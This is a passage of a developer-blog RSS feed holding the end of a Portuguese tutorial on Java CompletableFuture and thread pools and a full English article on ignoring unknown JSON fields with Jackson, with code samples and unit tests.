        &lt;span class="nc"&gt;CompletableFuture&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hello&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;CompletableFuture&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;supplyAsync&lt;/span&gt;&lt;span class="o"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getHello&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;executor&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// 2 - Executa a tarefa de forma assíncrona no pool&lt;/span&gt;
        &lt;span class="nc"&gt;CompletableFuture&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;world&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;CompletableFuture&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;supplyAsync&lt;/span&gt;&lt;span class="o"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWorld&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;executor&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;CompletableFuture&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;myFriend&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;CompletableFuture&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;supplyAsync&lt;/span&gt;&lt;span class="o"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMyFriend&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;executor&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="nc"&gt;CompletableFuture&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;allOf&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hello&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;world&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;myFriend&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;join&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// 3 - Aguarda a finalização da execução de todas as requisições&lt;/span&gt;

        &lt;span class="nc"&gt;StringBuilder&lt;/span&gt; &lt;span class="n"&gt;builder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;StringBuilder&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

        &lt;span class="n"&gt;builder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hello&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;join&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt; &lt;span class="c1"&gt;// 4 - Obtem o valor retornado &lt;/span&gt;
        &lt;span class="n"&gt;builder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;world&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;join&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
        &lt;span class="n"&gt;builder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;myFriend&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;join&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;builder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt; &lt;span class="c1"&gt;// impressão do resultado "Hello World My Friend"&lt;/span&gt;
        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;double&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nanoTime&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;curTime&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1_000_000_000&lt;/span&gt;  &lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;executor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;shutdownNow&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ao executar o novo &lt;em&gt;client&lt;/em&gt; será possível observar que o tempo de execução será próximo ao da requisição mais longa, que no caso é 400ms do método getMyFriend(). Abaixo a nova sequência de eventos:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--X8d2pdnT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1640708030519/HdxUl9oWB.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--X8d2pdnT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1640708030519/HdxUl9oWB.png" alt="DC230nUWezqa.png" width="700" height="250"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Pontos de atenção
&lt;/h3&gt;

&lt;p&gt;1 - Entender os diferentes tipos de &lt;a href="https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ThreadPoolExecutor.html"&gt;Thread Pools&lt;/a&gt;, seus funcionamentos e impactos é importante para usar o mais adequado ao seu cenário. Aqui usamos Cache Thread Pool que é útil para tarefas assíncronas curtas (short-lived asynchronous tasks). A classe &lt;a href="https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/Executors.html"&gt;Executors&lt;/a&gt; possui diversos métodos estáticos que fornecem thread pools pré-definidos para diversas situações.&lt;/p&gt;

&lt;p&gt;2 - &lt;a href="https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CompletableFuture.html#supplyAsync-java.util.function.Supplier-java.util.concurrent.Executor-"&gt;CompletableFuture.supplyAsync&lt;/a&gt; Retorna um CompletableFuture que será executado de forma assíncrona e fornecerá o resultado da tarefa quando solicitado (ver item 4).&lt;/p&gt;

&lt;p&gt;3 - &lt;a href="https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CompletableFuture.html#allOf-java.util.concurrent.CompletableFuture...-"&gt;CompletableFuture.allOf&lt;/a&gt; Retorna um CompletableFuture que é completado quando todos os CompletableFutures passados também forem.&lt;/p&gt;

&lt;p&gt;4 - &lt;a href="https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CompletableFuture.html#get--"&gt;CompletableFuture.get()&lt;/a&gt; e &lt;a href="https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CompletableFuture.html#join--"&gt;CompletableFuture.join()&lt;/a&gt; são operações "blocantes", ou seja, interrompem a execução do programa até obterem o retorno desejado. A diferença principal entre elas é que join() lança unchecked exceptions. Para operações assíncronas que retornam valor você terá que em algum momento usar get() ou join().&lt;/p&gt;

&lt;h3&gt;
  
  
  Referências
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt; &lt;a href="https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CompletableFuture.html"&gt;CompletableFuture&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/Executors.html"&gt;Executors&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ExecutorService.html"&gt;ExecutorService&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://docs.oracle.com/javase/tutorial/essential/concurrency/pools.html"&gt;Pools&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;
&lt;a href="https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ThreadPoolExecutor.html"&gt;ThreadPoolExecutor&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>java</category>
      <category>microservices</category>
      <category>concurrency</category>
    </item>
    <item>
      <title>Jackson, JSON and the Proper Handling of Unknown Fields in APIs</title>
      <dc:creator>Gilvan Filho</dc:creator>
      <pubDate>Fri, 23 Oct 2020 01:57:50 +0000</pubDate>
      <link>https://dev.to/gilvansfilho/jackson-json-and-the-proper-handling-of-unknown-fields-in-apis-1a4n</link>
      <guid>https://dev.to/gilvansfilho/jackson-json-and-the-proper-handling-of-unknown-fields-in-apis-1a4n</guid>
      <description>&lt;p&gt;Imagine the following scenario: You have an application that integrates with another through the consumption of REST endpoints. To perform serialization/deserialization you use the famous Jackson library that magically transforms java objects into JSON (serialization) and vice versa (deserialization). One fine day, quite suddenly, your requests stop working with an exception similar to the one below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;com.fasterxml.jackson.databind.exc.UnrecognizedPropertyException: Unrecognized field
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What could have happened? The exception itself tells you: There are unknown attributes in JSON that deserialization is being performed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Explaining the Exception
&lt;/h2&gt;

&lt;p&gt;According to the official documentation:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Specialized JsonMappingException sub-class specifically used to indicate problems due to encountering a JSON property that could not be mapped to an Object property (via getter, constructor argument or field).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Succinctly whenever there is a property in the JSON that has not been mapped to its java / DTO object, Jackson will throw this exception.&lt;/p&gt;

&lt;h3&gt;
  
  
  So What Could Have Happened?
&lt;/h3&gt;

&lt;p&gt;The service provider your application is consuming has added a new attribute in the return of the service. Since such an attribute does not exist in your java / DTO object, we have an unrecognized property, making the deserialization process impossible (JSON -&amp;gt; object).&lt;/p&gt;

&lt;h3&gt;
  
  
  Ok, Sherlock! And now?
&lt;/h3&gt;

&lt;p&gt;To paraphrase, and correct myself: whenever there is a property in JSON that has not been mapped to its java / DTO object, Jackson will throw this exception, &lt;em&gt;unless you tell Jackson that he can ignore such attributes&lt;/em&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Ignoring Unknown Fields with Jackson
&lt;/h3&gt;

&lt;p&gt;Fortunately, there are two ways to work around the problem in question and avoid throwing the exception: &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Annotate the class with @JsonIgnoreProperties (ignoreUnknown = true)&lt;/li&gt;
&lt;li&gt;Set the Deserialization Feature FAIL_ON_UNKNOWN_PROPERTIES to false&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  @JsonIgnoreProperties(ignoreUnknown=true)
&lt;/h4&gt;

&lt;p&gt;Adding to your class @JsonIgnoreProperties(ignoreUnknown = true) annotation will tell Jackson to ignore unknown attributes when deserializing JSONs to objects in that class.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nd"&gt;@JsonIgnoreProperties&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ignoreUnknown&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AnnotatedPersonDto&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;sex&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Set the Deserialization Feature FAIL_ON_UNKNOWN_PROPERTIES to false
&lt;/h4&gt;

&lt;p&gt;Setting up the object mapper will tell Jackson to ignore unknown attributes in all deserializations where that object mapper is used.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// version 1.9 or before&lt;/span&gt;
&lt;span class="n"&gt;objectMapper&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;configure&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;DeserializationConfig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Feature&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FAIL_ON_UNKNOWN_PROPERTIES&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// version 2.0 or after&lt;/span&gt;
&lt;span class="n"&gt;objectMapper&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;configure&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;DeserializationFeature&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FAIL_ON_UNKNOWN_PROPERTIES&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Let's Go to Tests
&lt;/h3&gt;

&lt;p&gt;For our tests, we will need two DTO’s, one without an annotation (to prove the exception was thrown) and another with an annotation (to prove the resolution of the problem).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;UnannotatedPersonDto&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;sex&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="nd"&gt;@JsonIgnoreProperties&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ignoreUnknown&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AnnotatedPersonDto&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;sex&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The JSON below will be used, which has the age attribute that is not known by the DTO.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"LINUS"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"age"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"sex"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"MALE"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Below we have 3 tests:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nd"&gt;@SpringBootTest&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;JacksonIgnorePropertiesTests&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="no"&gt;JSON_TO_DESERIALIZE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"{ \"name\": \"LINUS\" , \"age\": 18, \"sex\": \"MALE\" }"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="nd"&gt;@Test&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;withJsonWithUnknownAttributes_whenWithoutAnnotationOrConfiguration_thenThrownException&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;JsonMappingException&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;JsonProcessingException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="nc"&gt;ObjectMapper&lt;/span&gt; &lt;span class="n"&gt;mapper&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ObjectMapper&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
      &lt;span class="n"&gt;assertThrows&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;UnrecognizedPropertyException&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="n"&gt;mapper&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;readValue&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;JSON_TO_DESERIALIZE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;UnannotatedPersonDto&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt; &lt;span class="o"&gt;});&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="nd"&gt;@Test&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;withJsonWithUnknownAttributes_whenDtoHasAnnotationJsonIgnoreProperties_thenWillDeserialize&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;JsonMappingException&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;JsonProcessingException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="nc"&gt;ObjectMapper&lt;/span&gt; &lt;span class="n"&gt;mapper&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ObjectMapper&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
      &lt;span class="n"&gt;assertEquals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"LINUS"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mapper&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;readValue&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;JSON_TO_DESERIALIZE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;AnnotatedPersonDto&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;getNome&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="nd"&gt;@Test&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;withJsonWithUnknownAttributes_whenObjectMapperIsConfigured_thenWillDeserialize&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;JsonMappingException&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;JsonProcessingException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="nc"&gt;ObjectMapper&lt;/span&gt; &lt;span class="n"&gt;mapper&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ObjectMapper&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
      &lt;span class="n"&gt;mapper&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;configure&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;DeserializationFeature&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FAIL_ON_UNKNOWN_PROPERTIES&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;assertEquals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"LINUS"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mapper&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;readValue&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;JSON_TO_DESERIALIZE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;UnannotatedPersonDto&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;getNome&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Results:
&lt;/h4&gt;

&lt;p&gt;The exception UnrecognizedPropertyException is thrown once JSON is deserialized using the class without annotation and no configuration has been added to the Object Mapper;&lt;/p&gt;

&lt;p&gt;Deserialization is successful since the DTO that has the annotation used to ignore unknown attributes;&lt;/p&gt;

&lt;p&gt;Deserialization also occurs successfully because despite using the DTO without the annotation to ignore unknown attributes, the object mapper was configured with the FAIL_ON_UNKNOWN_PROPERTIES feature that ignores those attributes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;So what is the best approach? It depends.&lt;/p&gt;

&lt;p&gt;The approach of annotating classes with @JsonIgnoreProperties allows for finer control over which objects should ignore unknown fields and which should not. On the other hand, a developer may forget to put the annotation to a class, and then the problem could occur.&lt;/p&gt;

&lt;p&gt;The approach of configuring the object mapper in line with a dependency injection framework, ensuring that the same object mapper is used throughout the whole system, will guarantee the extinction of the exception throughout the application, but leaving the developers blindfolded in relation the evolves that occur in API being consumed.&lt;/p&gt;

</description>
      <category>java</category>
      <category>json</category>
      <category>jackson</category>
      <category>api</category>
    </item>
  </channel>
</rss>
